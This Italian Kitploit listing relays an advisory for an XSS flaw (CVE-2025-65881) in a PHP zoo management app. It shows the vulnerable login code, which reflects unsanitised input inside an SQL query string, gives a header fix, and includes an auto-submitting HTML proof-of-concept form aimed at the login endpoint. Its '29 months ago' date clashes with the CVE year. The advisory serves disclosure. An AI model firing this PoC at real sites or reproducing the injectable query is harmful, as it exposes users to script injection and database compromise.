Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/mmakingdom/cve-2025-65881
Analisi delle VulnerabilitàAnalisi del CodiceSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubmmakingdom/cve-2025-65881

CVE-2025-65881

Sourcecodester Zoo Management System v1.0 è vulnerabile a Cross Site Scripting (XSS) in /classes/Login.php a causa di Content-Type non valido

Vedi Repository
29 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-65881

Il progetto Zoo Management System v1.00 è vulnerabile a Cross-site scripting (XSS) su /zms/classes/Login.php?f=login a causa di:

  1. Content-type non valido delle risposte JSON su /zms/classes/Login.php?f=login
  2. Input utente non sanificato nelle risposte

Consentendo a attaccanti non autenticati di iniettare HTML/JS malevolo che viene eseguito nei browser delle vittime.

File interessato e codice vulnerabile

/zms/classes/Login.php

root@kitploit:~
return json_encode(array(
    'status' => 'incorrect',
    'last_qry' => "SELECT * from users where username = '$username' and password = md5('$password') "
));

Causa principale

  1. L'endpoint non imposta il content type su application/json.
  2. Il parametro $username non viene sanificato quando utilizzato in query SQL o quando riflesso nella risposta. Questa stessa vulnerabilità ha precedentemente portato a una vulnerabilità di SQL Injection (CVE-2025-7160)

Rimedio

Aggiungere questa riga alla funzione login():

root@kitploit:~
public function login(){
		header('Content-Type: application/json; charset=utf-8');
		extract($_POST);

intestazione

Prova di concetto

root@kitploit:~
<!DOCTYPE html>
  <html>
  <head>
      <title>CSRF PoC</title>
  </head>
  <body>
      <h3>Standard CSRF PoC</h3>
      <form action="http://localhost/zms/classes/Login.php?f=login" method="post">
      <input type="hidden" name="username" value="awdawdawdawdawaaaa$" />
    <input type="hidden" name="password" value="awdawda" />
          <input type="submit" value="Submit request" />
      </form>
      <script>
          history.pushState('', '', '/');
          document.forms[0].submit();
      </script>
  </body>
  </html>

XSS

Riferimenti

Il codice sorgente può essere scaricato gratuitamente qui:

https://www.sourcecodester.com/php/15344/zoo-management-system-phpoop-free-source-code.html

Crediti

Muntadhar M. Ahmed (almuntadhar0x01)

Scarica lo strumento